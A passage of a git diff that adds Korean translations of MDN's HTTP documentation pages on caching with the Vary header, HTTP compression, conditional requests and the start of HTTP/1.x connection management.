+<p><code>Vary</code> 헤더는 데스크탑과 모바일 사용자에게 서로 다른 컨텐츠를 제공하거나, 검색 엔진에게 페이지의 모바일 버전을 발견할 수 있게 하는 (그리고 <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a> 의도가 없다고 알려주는) 데에도 유용합니다. 이것은 보통 <code>Vary: User-Agent</code> 헤더를 사용해서 할 수 있습니다. {{HTTPHeader("User-Agent")}} 헤더 값이 모바일과 데스크탑 클라이언트 간에 서로 다르기 때문입니다..</p>
+
+<pre class="notranslate">Vary: User-Agent</pre>
+
+<h3 id="정규화">정규화</h3>
+
+<p>위에서 언급한 바와 같이, 캐시 서버는 기본적으로 (by default) 헤더와 헤더 값이 <em>정확히</em> 같은 요청<em>만</em> 매치시킵니다. 이것은 다른 유저 에이전트에 따라 미세한 차이가 있는 모든 요청들에 대해 원래 서버로 요청이 전달되고, 새로운 캐시 엔트리가 생성된다는 것을 의미합니다.</p>
+
+<p>예를 들어, 기본적으로 다음 헤더들은 제각각 별개의 요청을 서버에 전달하고, 별개의 캐시 엔트리가 생성되는 결과를 초래합니다: <code>Accept-Encoding: gzip,deflate,sdch</code>, <code>Accept-Encoding: gzip,deflate</code>, <code>Accept-Encoding: gzip</code>. 심지어 원래 서버가 모든 요청들에 대해 똑같은 리소스(gzip)를 응답할 (그리고 저장하고 있을) 때에도 그렇습니다!</p>
+
+<p>이러한 불필요한 요청과 중복된 캐시 엔트리를 피하기 위해서, 캐시 서버는 요청을 전처리해서 필요한 파일만 캐시하는 <strong>정규화</strong>를 하여야 합니다. 예를 들어, <code>Accept-Encoding</code>의 경우에는 다른 처리를 하기 전에 헤더 내의 <code>gzip</code>과 다른 압축 타입들을 체크할 수 있습니다 (아니면 그 헤더를 해제합니다). "수도 코드"로 표현한다면 다음과 같습니다:</p>
+
+<pre class="notranslate"><code>// Normalize Accept-Encoding
+if (req.http.Accept-Encoding) {
+ if (req.http.Accept-Encoding ~ "gzip") {
+ set req.http.Accept-Encoding = "gzip";
+ }
+  // elsif other encoding types to check
+else {
+ unset req.http.Accept-Encoding;
+ }
+}</code>
+</pre>
+
+<p><code>User-Agent</code> 값은 <code>Accept-Encoding</code>보다 더욱 다양합니다. 그래서 만약 모바일과 데스크탑 버전을 캐싱하기 위해 <code>Vary: User-Agent</code>를 사용한다면, 위와 유사하게 <code>"mobile"</code>과 <code>"desktop"</code> 값이 요청의 <code>User-Agent</code> 헤더에 있는지 체크한 후에, 그것을 해제할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: 하이퍼텍스트 전송 프로토콜 (HTTP/1.1): 캐싱</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">캐싱 튜토리얼 – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP 캐싱 – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">레드봇</a>, 캐시와 관련된 HTTP 헤더 점검을 위한 도구.</li>
+</ul>
diff --git a/files/ko/web/http/compression/index.html b/files/ko/web/http/compression/index.html
new file mode 100644
index 0000000000..74d1369762
--- /dev/null
+++ b/files/ko/web/http/compression/index.html
@@ -0,0 +1,64 @@
+---
+title: HTTP에서의 압축
+slug: Web/HTTP/Compression
+translation_of: Web/HTTP/Compression
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>압축은 웹 사이트의 성능을 높이는 중요한 방법입니다. 어떤 문서에 대해, 70%가 넘는 사이즈 축소는 필요로 하는 대역폭 용량을 낮춰줍니다. 수년간, 알고리즘은 점점 더 효율적으로 변해왔고, 클라이언트와 서버에 의해 새로운 것들이 지원되고 있습니다.</strong></p>
+
+<p>실제로, 웹 개발자들은 압축 메커니즘을 구현해야 할 필요가 없고, 브라우저와 서버가 그것들을 이미 구현하고 있어서, 개발자들은 서버가 잘 구성되어 있는지 확인만 하면 됩니다. 압축은 세 개의 서로 다른 계층에서 일어납니다.</p>
+
+<ul>
+ <li>먼저 몇 개의 파일 형식이 최적화된 특유의 방법으로 압축됩니다,</li>
+ <li>그런 뒤 HTTP 계층에서 일반적인 암호화가 일어납니다(리소스는 끝단 간에 압축되어 전송됩니다),</li>
+ <li>그리고 마침내 압축이 HTTP 커넥션의 두 노드 사이의 커넥션 계층에서 정의될 수 있습니다.</li>
+</ul>
+
+<h2 id="파일_포맷_압축">파일 포맷 압축</h2>
+
+<p>각각의 데이터 타입은 그 안에서 <em>공간을 낭비하는</em>, 몇 가지 중복을 가지고 있습니다. 텍스트가 일반적으로 60% 정도의 중복을 가지고 있다면, 오디오와 비디오 같은 다른 미디어들에게 이 비율은 훨씬 더 높아질 수 있습니다. 텍스트와 다르게, 이런 다른 미디어 타입들은 저장하는데 많은 공간을 차지하고 이런 낭비된 공간을 되돌려놓으려는 요구는 매우 이른 시기에 나타났습니다. 엔지니어들은 특정 목적을 위해 설계된 파일 포맷이 사용하는 최적화 압축 알고리즘을 설계했습니다:</p>
+
+<ul>
+ <li><em>무손실 압축</em>은 압축-비압축 사이클이 복원된 데이터를 변경하지 않는 것을 말합니다. 원래의 데이터와 복원 데이터는 일치(byte 단위까지)합니다.<br>
+ 이미지에서는, <code>gif</code> 혹은 <code>png</code>가 무손실 압축을 사용합니다.</li>
+ <li><em>손실 압축은 </em>사용자가 인지하기 힘든 방법 내에서 원래의 데이터를 사이클이 변경하는 것을 말합니다. 웹에서의 비디오 포맷은 손실 압축이며, 이미지에 경우에는 <code>jpeg</code>이 그렇습니다.</li>
+</ul>
+
+<p>어떤 포맷들은 <code>webp</code>처럼 무손실 혹은 손실로 이용 가능하며, 일반적으로 손실 알고리즘은 그 과정이 무손실 혹은 좀 더 나은 품질을 이끌도록 좀 더 나은 혹은 무손실의 압축을 가능하도록 구성될 수 있습니다. 사이트의 좀 더 나은 성능을 위해, 수용 가능한 수준의 품질을 지키면서도 가능한 많이 압축하는 것이 이상적입니다. 이미지의 경우, 도구가 만들어 낸 이미지는 웹을 위해 충분히 최적화되지 않을 수도 있습니다; 요구되는 품질를 유지하면서 가능한 많이 압축하는 도구를 사용하는 것을 추천합니다. 이것에 특화된 <a href="http://www.creativebloq.com/design/image-compression-tools-1132865">많은 도구들</a>이 있습니다.</p>
+
+<p>손실 압축 알고리즘은 무손실 압축 알로리즘보다 일반적으로 효율적입니다.</p>
+
+<div class="note">
+<p>압축이 특정 종류의 파일에서 더 잘 동작하므로, 파일을 두번 압축하는 것은 보통 아무런 도움이 되질 않습니다. 사실, 오버헤드 비용(알고리즘은 보통 초기의 크기에 추가할 사전을 필요로 합니다)이 크기가 큰 파일을 낳는 압축에서의 추가적인 이득보다 크므로, 자주 생산성 측면의 문제에 맞닥뜨리게 됩니다. 압축된 포맷의 파일들에 다음 두 기술을 사용하지 마시기 바랍니다.</p>
+</div>
+
+<h2 id="종단_간_압축">종단 간 압축</h2>
+
+<p>압축에 있어, 종단간 압축은 웹 사이트의 가장 큰 성능 이득이 발생하는 곳입니다. 종단간 압축은 서버에 의해 처리되고 클라이언트에 도달할 때까지 결코 변하지 않을 메시지 바디의 압축을 나타냅니다. 중간 노드가 무엇이든지, 바디는 건들이지 않고 그대로 둡니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p>
+
+<p>모든 모던 브라우저와 서버들은 종단간 압축을 지원하며 협상하는 유일한 것은 사용할 압축 알고리즘입니다. 이런 압축 알고리즘들은 텍스트에 최적화되어 있습니다. 1990년대에, 압축 기술은 급격한 속도로 진보되고 있었으며 많은 수의 성공적인 알고리즘들이 선택 가능한 후보군에 추가되었습니다. 오늘날에는, 오직 두 개의 알고리즘만이 적절한 후보군입니다: 가장 일반적인 <code>gzip</code>, 그리고 새로운 도전자인 <code>br</code>이 그것이죠.</p>
+
+<p>사용할 알고리즘을 선택하기 위해, 브라우저와 서버는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">사전 컨텐츠 협상</a>을 사용합니다. 브라우저는 브라우저가 지원하는 알고리즘 그리고 그것의 우선순위와 함께 {{HTTPHeader("Accept-Encoding")}} 헤더를 전송하며, 서버는 그 헤더를 뽑아내서 응답의 바디를 압축하는데 사용하고 서버가 선택한 알고리즘을 {{HTTPHeader("Content-Encoding")}} 헤더를 사용해 브라우저에게 알려줍니다. 컨텐츠 협상이 그것의 인코딩에 근거한 표현을 선택하는데 사용되므로써, 적어도 {{HTTPHeader("Content-Encoding")}}을 포함하는 하나의 {{HTTPHeader("Vary")}} 헤더가 반드시 응답 내 해당 헤더에 붙어 전송되어야 합니다; 그러한 방법으로, 캐시는 리소스의 다른 표현을 캐시하는게 가능해질 겁니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p>
+
+<p>압축이 명확한 성능 향상을 가져다주므로, 모든 파일에 대해 활성화하는 것을 추천하지만, 이미지, 오디오나 비디오와 같은 파일들은 이미 압축되어 있을 겁니다.</p>
+
+<p>Apache는 압축을 지원하며 <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>를 사용합니다; nginx의 경우 <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a> 모듈이 있고 IIS는 <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression">&lt;httpCompression&gt;</a></code> 엘리먼트를 지원합니다.</p>
+
+<h2 id="Hop-by-hop_압축">Hop-by-hop 압축</h2>
+
+<p>종단간 압축과 비슷하긴 하지만, hop-by-hop 압축은 한 가지 필수적인 엘리먼트에 의해 차이가 납니다: 전송되게 될 구체적인 표현을 만들어내는, 서버 내에서 리소스에 대한 압축이 일어나지 않고, 클라이언트와 서버 사이의 경로 상에 있는 어떤 두 노드 사이에서 메서지의 바디에 압축이 일어납니다. 이따르는 중간 노드 간의 커넥션들은 다른 압축을 적용할수도 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p>
+
+<p>이를 위해, HTTP는 종단간 압축에서의 컨텐츠 협상과 유사한 메커니즘을 사용합니다: 요청을 전송하는 노드는 노드의 요청이 {{HTTPHeader("TE")}} 헤더를 사용하고 있다는 것을 알려주고 다른 노드들은 알맞는 방법을 선택하여 적용하고 {{HTTPHeader("Transfer-Encoding")}} 헤더를 사용해 선택한 내용을 가리킵니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p>
+
+<p>실제로, hop-by-hop 압축은 서버와 클라이언트에게는 보이지 않으며 드물게 사용되고 있습니다.{{HTTPHeader("TE")}} 헤더와 {{HTTPHeader("Transfer-Encoding")}} 헤더는 리소스의 길이를 알지 못한 상태로 전송을 시작하도록, 청크에 의해 응답을 전송하는데 대부분 사용됩니다.</p>
+
+<p>Hop 계층에서 {{HTTPHeader("Transfer-Encoding")}} 헤더와 압축을 사용하는 것은, Apache, nginx 혹은 IIS와 같은 대부분의 서버들이 그것을 구성할 수 있는 쉬운 방법이 존재하지 않을 만큼 희귀합니다. 그런 구성들은 보통 프록시 계층에 적용됩니다.</p>
diff --git a/files/ko/web/http/conditional_requests/index.html b/files/ko/web/http/conditional_requests/index.html
new file mode 100644
index 0000000000..9e31efec5f
--- /dev/null
+++ b/files/ko/web/http/conditional_requests/index.html
@@ -0,0 +1,139 @@
+---
+title: HTTP 조건부 요청
+slug: Web/HTTP/Conditional_requests
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">영향을 받는 리소스들을 <em>검사기</em> 값을 이용해 비교함으로써, HTTP는, 성공인 경우라도, 요청의 결과가 변경될 수 있는 <em>조건부 요청</em>의 컨셉을 가지고 있습니다. 그런 요청들은 캐시 컨텐츠와 쓸모없는 컨트롤 회피를 검증하고, 다운로드를 이어서 하거나 서버 상의 문서를 업로드 또는 수정할 때 수정된 내용을 잃지 않도록 할 때처럼, 문서의 무결성을 확증하는데 유용할 수 있습니다.</p>
+
+<h2 id="원칙">원칙</h2>
+
+<p>HTTP 조건부 요청은 특정 헤더 값에 의존하여 기존과는 다르게 실행되는 요청입니다. 이 헤더들은 전제 조건을 정의하고 있으며 요청의 결과는 그 전제 조건이 일치하는지 아닌지에 따라 달라질 것입니다.</p>
+
+<p>그런 다른 동작들은 요청 메서드 그리고 전제 조건을 위해 사용되는 헤더 집합에 의해 정의됩니다:</p>
+
+<ul>
+ <li>보통 문서를 가져오려고 하는 {{HTTPMethod("GET")}}와 같은 {{glossary("safe")}} 메서드들의 경우, 오직 연관되어 있는 경우에 조건부 요청이 회신하는데 사용될 수 있으므로 대역폭을 아끼게 됩니다.</li>
+ <li>보통 문서를 업로드하는 {{HTTPMethod("PUT")}}와 같은 {{glossary("safe", "unsafe")}} 메서드들의 경우, 그 요청의 원본 문서가 서버에 저장되어 있는 것과 동일한 경우에만 조건부 요청이 문서 업로드에 사용될 수 있습니다.</li>
+</ul>
+
+<h2 id="검사기">검사기</h2>
+
+<p>모든 조건부 요청들은 서버 상에 저장되어 있는 리소스가 특정 버전과 일치하는지를 검사하려고 합니다. 이를 이루기 위해, 조건부 요청은 리소스의 버전을 명시할 필요가 있습니다. 전체 리소스를 바이트 대 바이트로 비교하는 것은 불가능하므로(그리고 항상 그러길 원하는 것은 아닐테니!), 요청은 버전을 뜻하는 값을 함께 전송합니다: 그런 값들을 <em>검사기</em>라고 부르며 다음의 두 종류가 존재합니다:</p>
+
+<ul>
+ <li><em>last-modified</em> 날짜로, 문서의 최종 수정 일자를 말합니다.</li>
+ <li><em>entity tag</em> 혹은 <em>etag</em>라고 부르는 각 버전을 고유하게 나타내는 읽을 수 없는 문자열이 있습니다.</li>
+</ul>
+
+<p>동일 리소스의 버전 비교는 약간 교모합니다: 컨텍스트에 의존하여 두 종류의 동질성 검사를 합니다. 바이트 대 바이트의 동일성을 원한다면 <em>강한 검사기</em>가 사용되는데, 예를 들어 다운로드를 이어할 때 사용됩니다. 사용자 에이전트가 두 리소스가 동일한 컨텐츠를 가지고 있는지만 알아내면 되는 경우에는 <em>약한 검사기</em>가 사용되는데, (다른 광고, 혹은 다른 날짜의 푸터와 같은) 덜 중요한 차이가 나는 경우에도 해당됩니다.</p>
+
+<p>검사의 종류는 사용되는 검사기에 따라 달라집니다; {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}} 모두 서버 상에서 검사기를 구현하는 복잡도가 매우 다양함에도 불구하고 검사의  두 종류를 모두 지원합니다. HTTP는 기본적으로 강한 검사를 사용하며, 약한 검사기가 사용될 수 있는 경우에는 이를 명시합니다.</p>
+
+<h3 id="강한_검사">강한 검사</h3>
+
+<p id="sect1">강한 검사하는 리소스가 비교하려는 다른 리소스와 바이트 대 바이트로 동일한지를 보장하는데 그 특징이 있습니다. 이것은 조건부 헤더에 대해서 의무적이며, 다른 헤더들에 대해서는 기본값입니다. 강한 검사는 매우 엄격하고 서버 레벨에서 보장하기는 매우 어려울 수도 있으나, 때로는 성능의 손실을 감수하더라도 어떤 경우에도 데이터 무손실을 보장합니다.</p>
+
+<p>{{HTTPHeader("Last-Modified")}}를 이용해 강력한 검사를 위한 유일한 식별자를 갖는 것은 꽤 어렵습니다. 종종 이것은 리소스의 MD5 해시(혹은 유도물)를 가지고 {{HTTPHeader("ETag")}}를 사용하여 이루어집니다.</p>
+
+<h3 id="약한_검사">약한 검사</h3>
+
+<p>약한 검사는 문서의 내용이 유사한 경우 두 문서의 버전이 동일하다고 간주하는데에 강한 검사와의 차이가 있습니다. 예를 들어, 기존의 페이지와 푸터 내의 날짜 혹은 광고만 다른 페이지가 있다고 가정할 때, 그 페이지는 강한 검사에서는 다르다고 판단할 수 있지만, 약한 검사 내에서는 기존의 페이지와 동일하다고 간주될 수 있습니다. 약한 검사를 만들어내는 etag 체계를 세우는 것은 페이지의 다른 요소들의 중요성 인지를 끌어들이는 순간부터 복잡해질 수 있으나, 그것은 캐싱 성능을 최적화하는데 매우 유용할 것입니다.</p>
+
+<h2 id="조건부_헤더">조건부 헤더</h2>
+
+<p>조건부 헤더라고 불리는, 몇몇 HTTP 헤더들은 조건부 요청을 이끌어 냅니다. 그들은 다음과 같습니다:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것과 일치한다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것들과 일치하는 것이 없다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>원격지의 리소스의 {{HTTPHeader("Last-Modified")}} 날짜가 이 헤더 내에 주어진 것보다 좀 더 최근인 경우 성공입니다.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("Last-Modified")}}가 이 헤더에 주어진 것보다 더 오래됐거나 같다면 성공입니다.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>{{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}}와 유사하지만, 하나의 단일 etag 혹은 하나의 날짜만을 가질 수 있습니다. 만약 실패한다면, 범위 요청이 실패하고, {{HTTPStatus("206")}} <code>Partial Content</code> 응답 대신에, {{HTTPStatus("200")}} <code>OK</code>가 완전한 리소스와 함께 전송될 것입니다.</dd>
+</dl>
+
+<h2 id="유스_케이스">유스 케이스</h2>
+
+<h3 id="캐시_갱신">캐시 갱신</h3>
+
+<p>조건부 요청의 가장 일반적인 유스 케이스는 캐시를 갱신하는 것입니다. 비어 있는 캐시를 가지고 있거나 혹은 캐시를 가지고 있지 않은 경우, 요청된 리소스는 {{HTTPStatus("200")}} <code>OK</code>의 상태로 회신됩니다.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>리소스와 함께, 검사기가 헤더 내에 전송됩니다. 예를 들어, {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}}가 전송되지만, 그들 중 하나만 전송될 수도 있습니다. 이 검사기들은 (모든 헤더처럼) 해당 리소스와 함께 캐시되며 캐시가 더 이상 신선하지 않게 됐을 때 조건부 요청을 만들어 내는데 사용될 것입니다.</p>
+
+<p>캐시가 신선한 동안에는, 어떤 요청도 결코 발급되지 않습니다. 그러나 신선하지 않게 된다면, 대부분 {{HTTPHeader("Cache-Control")}} 헤더에 의해 제어되며, 클라이언트는 캐시된 값을 직접 사용하지 않으며 {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Match")}} 헤더의 파라메터로써 사용되는 검사기 값을 이용해 <em>조건부 요청</em>을 전송하게 됩니다.</p>
+
+<p>리소스가 변경되지 않았다면, 서버는 {{HTTPStatus("304")}} <code>Not Modified</code> 응답을 회신하게 되는데, 이는 캐시를 다시 신선한 것으로 만들어주며 클라이언트는 그 캐시된 리소스를 사용하게 됩니다. 비록 어떤 리소스를 소비하는 응답/요청 라운드 트립이 있다고 하더라도, 연결을 통해 다시 전체 리소스를 전송하는 것보다는 더 효율적입니다.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>리소스가 변경되었다면, 요청이 조건부가 아니었고 클라이언트가 이 새로운 리소스를 사용하는(그리고 그것을 캐시하는) 경우처럼, 서버는 리소스의 새로운 버전과 함께, {{HTTPStatus("200")}}<code> OK</code> 응답을 회신합니다.</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>서버 측에서 검사기를 설정하는 것외에도, 이 메커니즘은 투명합니다: 모든 브라우저가 캐시를 관리하고 있으며 그런 조건부 요청을 웹 개발자가 해야할 특별한 조치없이 보내게 됩니다.</p>
+
+<h3 id="부분_다운로드의_통합">부분 다운로드의 통합</h3>
+
+<p>파일들의 부분적인 다운로드는 이전 동작을 계속하게 이어주는 HTTP의 기능으로, 이미 받아놓은 정보를 유지함으로써 대역폭과 시간을 절약해줍니다.</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>부분적인 다운로드를 지원하는 서버는 {{HTTPHeader("Accept-Ranges")}} 헤더를 보냄으로써 이를 알립니다. 그렇게 되면, 클라이언트는 아직 전송받지 못한 범위와 함께 {{HTTPHeader("Ranges")}}을 전송하여 다운로드를 이어나갈 수 있습니다.</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>이 원칙은 간단한데, 한 가지 잠재적인 문제점이 있습니다: 다운로드된 리소스가 두 개의 다운로드 사이에 수정될 경우, 수신받던 범위는 리소스의 두 개의 서로 다른 버전과 상응하게 될 것이며 최종적인 문서는 오염되게 될 것입니다.</p>
+
+<p>이것은 방지하기 위해, 조건부 요청이 사용됩니다. 범위에 대해, 이를 할 수 있는 두 가지 방법이 존재합니다. 좀 더 유연한 방법은 {{HTTPHeader("If-Modified-Since")}}과 {{HTTPHeader("If-Match")}}을 사용하는 것이며 서버는 전제 조건이 실패할 경우 오류를 반환하게 됩니다; 그러면 클라이언트는 다운로드를 처음부터 다시 시작하게 되는 것이죠.</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>이 방법이 동작하긴 하지만, 문서가 변경된 경우 추가적인 응답/요청 교환을 필요로 합니다. 이것은 성능을 감소시키는데 HTTP는 이것을 피하기 위한 특별한 헤더를 가지고 있습니다: 바로 {{HTTPHeader("If-Range")}}이죠.</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>이 해결책이 좀 더 효과적이긴 한데 약간은 덜 유연하여(오로지 하나의 etag만이 조건 내에서 사용될 수 있습니다), 추가적인 유연성이 필요한 경우가 아주 드물게 있기도 합니다.</p>
+
+<h3 id="최적화된_잠금으로_업데이트_손실_문제_피하기">최적화된 잠금으로 업데이트 손실 문제 피하기</h3>
+
+<p>웹 애플리케이션에서 일반적인 동작은 원격 문서를 <em>갱신</em>하는 것입니다. 이것은 어떤 파일 시스템 혹은 소스 제어 애플리케이션에서든 매우 흔한 일인데, 원격 리소스 저장을 허용하는 어떤 애플리케이션이든 그러한 메커니즘을 필요로 합니다. 유사하게, 위키나 다른 CMS와 같은 일반적인 웹 사이트들도 그런 요구사항을 지니고 있습니다.</p>
+
+<p>{{HTTPMethod("PUT")}} 메서드를 이용해 당신은 이러한 것을 구현할 수 있습니다. 먼저 클라이언트는 원본 파일을 읽어들인 후 그것을 수정하고 최종적으로 서버로 수정된 파일을 내보냅니다.</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>불행하게도, 계정의 동시실행 내로 들어가자마자 약간 예상치 못한 결과를 맞이하게 될 겁니다. 하나의 클라이언트가 리소스의 새로운 복사본을 지역적으로 수정하고 있는 동안에도, 두번째 클라이언트가 동일한 리소스를 내려받고 자신의 영역 내에서 동일한 작업을 할 수 있습니다. 그렇게 되면 매우 유감스러운 일이 발생하게 됩니다: 그들이 다시 커밋하게 됐을 때, 전송할 첫번째 클라이언트의 수정본은 다음의 전송에 의해 폐기되는데, 이는 두번째 클라이언트가 새로운 변경 사항을 알고 있지 못하기 때문입니다. 어떤 것이 받아들여질지에 대한 결정은 다른 쪽에게 알려지지 않겠지만, 어떤 클라이언트의 변경 사항이 유지될 지는 그들이 커밋하는 시점, 클라이언트 그리고 서버의 성능에 의해서도 달리지며, 클라이언트에서 문서를 수정하는 속도에 의해서도 달라지게 될 겁니다: 받아들여진 클라이언트의 변경 사항으로 모두 변경될 것입니다. 이것을 {{glossary("경쟁 상태")}}라고 하며 감지하고 디버깅하기 어려운 불확실한 동작을 유발합니다.</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>두 클라이언트 중 하나를 불편하게 만들지 않고는 이를 해결할 수 있는 방법은 없습니다. 그러나 업데이트 손실과 경쟁 상태는 피하게 됩니다: 우리는 예측 가능한 결과와 클라이언트의 변경 사항이 거절된 경우 클라이언트가 그것을 알 수 있길 원합니다.</p>
+
+<p>조건부 요청은 (대부분의 위키 혹은 소스 제어 시스템에 의해 사용되는) <em>최적화 잠금 알고리즘</em>을 구현할 수 있도록 합니다. 이런 아이디어는 모든 클라이언트들이 리소스의 복사본들을 갖고 로컬에서 그것을 수정하며 첫번째 클라이언트가 그 수정된 내용을 성공적으로 제출하고 나서 이제는 이전 버전이 된 리소스가 거절되도록 하여 모든 업데이트가 순차적으로 이루어질 수 있도록 하여 동시성을 제어할 수 있도록 해줍니다.</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>이것은 {{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}} 헤더를 사용해 구현하게 됩니다. etag가 원본 파일과 일치하지 않거나 혹은 파일을 수신한 이후에 파일이 수정된 경우, 해당 변경 사항은 단순히 {{HTTPStatus("412")}} <code>Precondition Failed</code> 오류와 함께 거절될 것입니다. 그런 뒤에 오류를 다루는 것은 클라이언트에게 달려있므며, 현재 가장 최신의 버전으로부터 다시 시작하도록 사람에게 알려주는 방법 혹은 "diff"를 보여주고 변경된 내용을 유지하도록 선택할 수 있게 사람에게 도움을 주는 방법 등을 이용하도록 할 수 있습니다. </p>
+
+<h3 id="리소스의_첫번째_업로드_다루기">리소스의 첫번째 업로드 다루기</h3>
+
+<p>리소스의 첫번째 업로드는 이전 예제의 엣지 케이스입니다: 리소스 업데이트의 어떤 경우든지, 두 클라이언트가 업데이트를 동시에(혹은 거의 같은 시점에) 실행하려고 하는 경우는 경쟁 상태의 대상입니다. 이를 방지하기 위해, 조건부 요청을 사용할 수 있습니다: 어떤 etag든지 나타내는 <code>'*'</code>라고 하는 특별한 값을 {{HTTPHeader("If-None-Match")}}에 추가하여, 리소스가 이전에 존재하지 않은 경우에만 요청이 성공하게 할 수 있습니다.</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> 는 HTTP/1.1 호환 (혹은 그 이상의) 서버에서만 동작할 겁니다. 서버가 호환되는지 아닌지를 모르는 경우라면, 이를 확인하기 위해 리소스에 {{HTTPMethod("HEAD")}} 요청을 해보는 것이 우선적으로 필요합니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>조건부 요청은 HTTP의 주요 특징이며 효율적이고 복잡한 애플리케이션을 만드는데 도움을 줍니다. 캐싱 혹은 다운로드 이어하기를 위해, 웹 마스터에게 요청해야 할 유일한 일은 서버를 정확하게 구성하도록 하는 것(어떤 환경 내에서 정확한 etag를 설정하는 것은 애매모호할 수 있습니다)이며, 웹 개발자는 브라우저가 올바른 조건부 요청을 서버하게 되므로 해야할 것이 아무것도 없습니다.</p>
+
+<p>잠금 메커니즘에 대해서는, 반대로, 웹 개발자가 알맞은 헤더로 요청을 전송하도록 하는 일이 필요하며, 웹 마스터는 대부분의 경우 그것들을 검사하도록 하는 신뢰할 수 있는 애플리케이션을 만들어야 합니다.</p>
+
+<p>두 경우 모두에 있어, 조건부 요청은 웹의 필수적인 기능입니다.</p>
diff --git a/files/ko/web/http/connection_management_in_http_1.x/index.html b/files/ko/web/http/connection_management_in_http_1.x/index.html
new file mode 100644
index 0000000000..79f82d4e76
--- /dev/null
+++ b/files/ko/web/http/connection_management_in_http_1.x/index.html
@@ -0,0 +1,86 @@
+---
+title: HTTP/1.x의 커넥션 관리
+slug: Web/HTTP/Connection_management_in_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">커넥션 관리는 HTTP의 주요 주제입니다: 대규모로 커넥션을 열고 유지하는 것은 웹 사이트 혹은 웹 애플리케이션의 성능에 많은 영향을 줍니다. HTTP/1.x에는 몇 가지 모델이 존재합니다: 단기 커넥션, 영속적인 커넥션, 그리고 <em>HTTP 파이프라이닝. </em></p>
+
